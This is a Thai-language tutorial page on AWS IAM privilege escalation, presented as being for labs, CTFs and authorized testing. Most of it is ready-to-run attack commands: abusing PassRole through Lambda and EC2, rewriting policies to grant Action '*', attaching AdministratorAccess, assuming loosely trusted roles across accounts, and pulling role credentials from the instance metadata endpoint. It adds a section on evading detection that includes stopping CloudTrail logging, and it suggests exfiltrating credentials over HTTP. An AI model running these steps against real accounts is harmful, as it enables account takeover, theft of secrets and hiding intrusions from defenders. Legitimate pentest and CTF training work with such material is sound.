AWS IAM Privilege Escalation
AWS IAM Privilege Escalation คือการยกระดับสิทธิ์จาก IAM principal ที่จำกัดไปสู่สิทธิ์สูง (มักถึง admin) ผ่าน policy/role ที่ตั้งผิด บทนี้ลงลึกครบทุกขั้น: ตั้งค่า credential, enumerate สิทธิ์ตัวเอง, 17 privesc paths หลัก (PassRole, CreatePolicyVersion, AttachPolicy, AssumeRole, Lambda, EC2, Glue, CloudFormation, SSM ฯลฯ) พร้อมคำสั่งจริงทุกอัน, การ pivot ข้าม account, detection evasion, lab walkthrough เต็ม และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ & Threat Model
IAM ควบคุมว่า principal (user/role/group) ทำ action อะไรได้บน resource ใด การ privesc เกิดเมื่อ principal มี permission ที่—แม้ดูไม่อันตราย—ถูกใช้ต่อยอดเป็นสิทธิ์ที่สูงกว่า เช่น สิทธิ์ 'สร้าง Lambda' + 'ส่ง role' = รันโค้ดด้วยสิทธิ์ของ role นั้น แนวคิดหลัก: IAM policy เป็น JSON ที่มี Effect (Allow/Deny), Action (เช่น s3:GetObject), Resource (ARN), และบางที Condition
2. ตั้งค่า credential & เครื่องมือ
ก่อนเริ่ม ตั้งค่า AWS CLI ด้วย credential ที่ได้มา (access key, หรือ session token ถ้ามาจาก STS/metadata)
# วิธี 1: configure profile
aws configure --profile target
# AWS Access Key ID: AKIA...
# Secret Access Key: ...
# region: us-east-1
# วิธี 2: env var (เหมาะกับ temporary credential จาก metadata)
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # จำเป็นถ้าเป็น STS temp cred
# ทดสอบว่าใช้ได้
aws sts get-caller-identity --profile targetget-caller-identity บอก Account ID, ARN, UserId — เป็นจุดเริ่มเสมอ ถ้า ARN เป็น assumed-role แปลว่าคุณอยู่ใน role อยู่แล้ว (มักมาจาก EC2/Lambda)3. Enumerate สิทธิ์ตัวเอง (สำคัญสุด)
ขั้นวิกฤต — ต้องรู้ว่าตัวเองมี permission อะไรก่อนถึงวางแผน privesc ได้ ทำทั้ง manual และ automated
# ตัวเองเป็นใคร
aws sts get-caller-identity
# ถ้าเป็น user: ดู policy ที่แนบ
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user> # inline
aws iam list-groups-for-user --user-name <user>
# ดูเนื้อ policy (managed)
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v1
# ดูเนื้อ inline policy
aws iam get-user-policy --user-name <user> --policy-name <name>
# role ทั้งหมด (หาเป้า assume/pass)
aws iam list-roles
aws iam list-instance-profiles# ติดตั้ง
git clone https://github.com/andresriancho/enumerate-iam
pip install -r enumerate-iam/requirements.txt
# รัน — จะลองเรียกทุก API แบบ read-only แล้วบอกว่าอันไหนได้
python enumerate-iam.py --access-key AKIA... --secret-key ...
# Pacu (framework เต็ม) — มี privesc module
git clone https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# > import_keys target
# > run iam__enum_permissions
# > run iam__privesc_scan # หา path อัตโนมัติ!iam__privesc_scan ของ Pacu จะบอก privesc path ที่เป็นไปได้ทันที — แต่เข้าใจ mechanism เองด้วย (section ถัดไป) เพราะ CTF/lab บางที่ Pacu อ่านไม่ครบ4. Path: PassRole + Service (พบบ่อยสุด)
ถ้ามี iam:PassRole + สิทธิ์สร้าง resource ที่รับ role → ส่ง role สิทธิ์สูงให้ service รัน นี่คือ path ที่เจอบ่อยที่สุดใน CTF/pentest จริง
# 1. หา role สิทธิ์สูงที่ pass ได้
aws iam list-roles --query 'Roles[?contains(RoleName,`admin`)||contains(RoleName,`lambda`)]'
# 2. เขียน payload (ดึง credential ของ role ออกมา)
cat > lambda.py <<'PY'
import boto3, json
def handler(e,c):
s=boto3.client('sts')
return s.get_caller_identity()
PY
zip payload.zip lambda.py
# 3. สร้าง Lambda ด้วย role เป้า
aws lambda create-function --function-name pwn \
--runtime python3.12 --handler lambda.handler \
--role arn:aws:iam::ACCT:role/<HIGH-PRIV-ROLE> \
--zip-file fileb://payload.zip
# 4. รัน
aws lambda invoke --function-name pwn out.json && cat out.json
# 5. ดึง credential จริงของ role: ใส่โค้ด os.environ['AWS_*'] ใน Lambda แล้ว exfil# สร้าง instance ด้วย role สิทธิ์สูง แล้วดึง credential จาก metadata
aws iam create-instance-profile --instance-profile-name pwn
aws iam add-role-to-instance-profile --instance-profile-name pwn --role-name <HIGH-PRIV-ROLE>
aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
--iam-instance-profile Name=pwn --key-name yourkey
# SSH เข้า instance แล้ว:
# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>| Service ที่รับ role | วิธีใช้ |
|---|---|
| Lambda | create-function + invoke → รันโค้ด |
| EC2 | run-instances + instance profile → metadata |
| Glue | create-dev-endpoint → SSH → ดึง role cred |
| CloudFormation | create-stack ด้วย role → สร้าง resource |
| SageMaker | create-notebook-instance → terminal |
| DataPipeline | create-pipeline → รัน command |
5. Path: แก้ Policy ให้ตัวเอง
# ถ้ามี iam:CreatePolicyVersion บน policy ที่แนบกับเรา
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCT:policy/<policy-attached-to-you> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
# policy เดิมถูกแทนด้วย * ทันที# แนบ AdministratorAccess ให้ตัวเอง
aws iam attach-user-policy --user-name <you> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# หรือเขียน inline policy = *
aws iam put-user-policy --user-name <you> --policy-name pwn \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'| Permission | วิธี privesc | หมายเหตุ |
|---|---|---|
| iam:CreatePolicyVersion | version ใหม่ = * | ต้อง --set-as-default |
| iam:SetDefaultPolicyVersion | ชี้ version เก่าที่กว้าง | ถ้ามี version เก่าสิทธิ์เยอะ |
| iam:AttachUserPolicy | แนบ AdministratorAccess | ตรงสุด |
| iam:PutUserPolicy | inline = * | ไม่ต้องมี managed policy |
| iam:AddUserToGroup | เข้า group สิทธิ์สูง | ถ้ามี admin group |
| iam:CreateAccessKey | สร้าง key ให้ user อื่น | ขโมยตัวตน user สิทธิ์สูง |
| iam:UpdateLoginProfile | ตั้ง password user อื่น | เข้า console ในนามเขา |
6. Path: AssumeRole & Cross-Account
role ที่ trust policy หลวม (Principal เป็น * หรือ account เรา) → assume เข้าไปได้เลย และเป็นช่องทาง pivot ข้าม account
# ดู trust policy ของ role (AssumeRolePolicyDocument)
aws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument'
# ถ้า Principal หลวม → assume
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/<role> --role-session-name s
# ได้ AccessKeyId / SecretAccessKey / SessionToken → export ใช้ต่อ
# cross-account: role ใน account อื่นที่ trust account เรา
aws sts assume-role --role-arn arn:aws:iam::OTHER-ACCT:role/<role> --role-session-name xPMapper) ใช้หา ลองรัน pmapper graph create แล้ว pmapper query 'preset privesc *'7. Lab Walkthrough (จบใน 1 รอบ)
สถานการณ์จำลอง (เหมือน flAWS / CloudGoat): ได้ access key ของ user bob ที่ดูสิทธิ์น้อย
- 1ตั้ง credential:
aws configure --profile bobแล้วaws sts get-caller-identity --profile bob→ ได้ Account 1234, user bob - 2enum:
aws iam list-attached-user-policies --user-name bob --profile bob→ เจอ policy 'bob-policy' - 3อ่าน policy:
aws iam get-policy-version --policy-arn ... --version-id v1→ เห็น Action:iam:CreatePolicyVersionบน bob-policy เอง! - 4exploit:
aws iam create-policy-version --policy-arn arn:...:policy/bob-policy --policy-document '{...Action:*...}' --set-as-default --profile bob - 5ยืนยัน:
aws iam list-users --profile bob(เมื่อกี้ทำไม่ได้ ตอนนี้ได้) = เป็น admin แล้ว - 6เก็บหลักฐาน: screenshot get-caller-identity + การกระทำที่ทำได้หลัง privesc
8. Detection & Evasion (สำหรับ red team)
ทุก API call ถูก log ใน CloudTrail การกระทำ IAM ที่ผิดปกติ (CreatePolicyVersion, AttachUserPolicy) ดังมากใน GuardDuty
- recon เงียบ: เรียก read-only API ก่อน (list/get) — ดังน้อยกว่า write
- หลีกเลี่ยง: root account usage, AccessKey creation, policy ที่มี
*ตรงๆ (GuardDuty จับ) - blend in: ใช้ region/เวลาที่ปกติมี activity, ใช้ role ที่มีอยู่แทนสร้างใหม่
- CloudTrail: ถ้ามีสิทธิ์ —
cloudtrail stop-loggingก่อน (แต่ดังมากเอง ใช้เฉพาะ scope อนุญาต)
9. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| AccessDenied ทุก call | credential ผิด/หมดอายุ; ถ้า ASIA ต้องมี SESSION_TOKEN ด้วย |
| PassRole ได้แต่ create-function ไม่ได้ | ขาด lambda:CreateFunction — ลอง service อื่น (EC2/Glue) |
| create-policy-version: LimitExceeded | policy มี 5 version แล้ว — ลบ version เก่า: delete-policy-version |
| assume-role: AccessDenied | trust policy ไม่ให้ — ดู AssumeRolePolicyDocument ว่า Principal ตรงไหม |
| Lambda รันแต่ไม่เห็น output | ดู CloudWatch Logs; หรือ exfil credential ออกผ่าน HTTP request ใน code |
| ASIA key ใช้ไม่ได้ | temporary cred หมดอายุ (default 1 ชม.) — ดึงใหม่จาก metadata/assume |
10. Indicators & Quick Reference
iam:*, * ใน Action, iam:PassRole + service permission, sts:AssumeRole กับ trust policy ที่ Principal กว้าง, iam:CreatePolicyVersion/AttachUserPolicy/PutUserPolicy- เริ่มเสมอ:
get-caller-identity→ enum policy → หา 1 ใน 17 path - Pacu
iam__privesc_scan= หา path อัตโนมัติ, PMapper = visualize - credential ต่อยอด: S3 (config/backup), Lambda env, Secrets Manager, SSM Parameter
- ASIA = temp (มี session token, หมดอายุ), AKIA = long-term
- flag/secret ใน CTF cloud มักอยู่: S3 bucket, Secrets Manager, Lambda env, SSM
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้: ได้ AWS access key มา (หลุดจาก .env, git history, หรือโจทย์ให้มาตรง ๆ) มีแค่เครื่อง Kali เปล่า ๆ ไม่รู้จะเริ่มตรงไหน — ทำตามนี้ทีละขั้น
- 1เช็คว่ามี
aws-cliไหม: พิมพ์aws --versionถ้าไม่มี ลงsudo apt install awscli -y - 2ใส่ credential:
aws configure --profile targetแล้วกรอก Access Key / Secret Key (ถ้าเป็น temp cred ที่ขึ้นต้น ASIA ต้อง exportAWS_SESSION_TOKENเพิ่มด้วย) - 3ยืนยันว่า key ใช้ได้:
aws sts get-caller-identity --profile target— ถ้าได้ Account/UserId/Arn กลับมา = ใช้ได้ ไปต่อ ถ้า AccessDenied ให้เช็ค session token/key ใหม่ - 4โคลน+รัน enumerate-iam ให้บอกว่าเรียก API อะไรได้บ้าง:
git clone https://github.com/andresriancho/enumerate-iam && pip install -r enumerate-iam/requirements.txt && python enumerate-iam/enumerate-iam.py --access-key AKIA... --secret-key ... - 5โคลน+รัน pacu (framework ที่มี privesc scanner ในตัว):
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu && python3 pacu.pyแล้วพิมพ์import_keys target - 6รัน
run iam__enum_permissionsเพื่อดูสิทธิ์ทั้งหมดของ key นี้ - 7รัน
run iam__privesc_scan— pacu จะสแกนหา privesc path ที่เป็นไปได้ทั้งหมดและบอกว่าอันไหน 'Confirmed' - 8ถ้า pacu เจอ path (เช่น CreatePolicyVersion, PassRole+Lambda) ให้ทำตามคำสั่งใน section 4-6 ของบทนี้เพื่อ exploit จริง
- 9ยืนยันผล: ลองเรียก API ที่เมื่อก่อนทำไม่ได้ (เช่น
aws iam list-users --profile target) ถ้าทำได้แล้ว = escalate สำเร็จ - 10เก็บหลักฐาน (screenshot get-caller-identity ก่อน/หลัง) แล้วหา flag/secret ต่อใน S3, Secrets Manager, SSM Parameter Store
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ตั้งค่า credential / เรียก AWS API | aws-cli | sudo apt install awscli -y (ถ้ายังไม่มี) | - |
| หาสิทธิ์ที่เรียกได้ทั้งหมดแบบ brute | - | enumerate-iam (git clone + pip install -r requirements.txt) | - |
| framework privesc scan อัตโนมัติ | - | pacu (git clone RhinoSecurityLabs/pacu) | - |
| สแกน misconfig ทั้ง account (IAM/S3/EC2 ฯลฯ) | - | ScoutSuite (pip install scoutsuite) | - |
| visualize privesc path แบบกราฟ | - | PMapper (pip install principalmapper) | - |
| ฝึกใน environment จำลองก่อนลงสนามจริง | - | - | flaws.cloud, flaws2.cloud (โจทย์ฝึกฟรี) |
| อ่านอ้างอิง technique privesc เพิ่มเติม | - | - | hackingthe.cloud |
| decode/encode ข้อมูลที่เจอ (base64/JSON policy) | - | - | CyberChef |
aws-s3-attacks ถ้าเจอ bucket ที่อาจมี key/credential หลุดเพิ่มเติม, ลอง aws-lambda-attacks ถ้า role ที่ได้เข้าถึง Lambda function ได้, ลอง azure-ad-attacks หรือ gcp-attacks ถ้าโจทย์เป็น multi-cloud, ถ้าไม่มีทางเข้า cloud เลยตั้งแต่แรก ลองกลับไปที่ ssrf เพื่อหา metadata endpoint จากตัว web appหัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้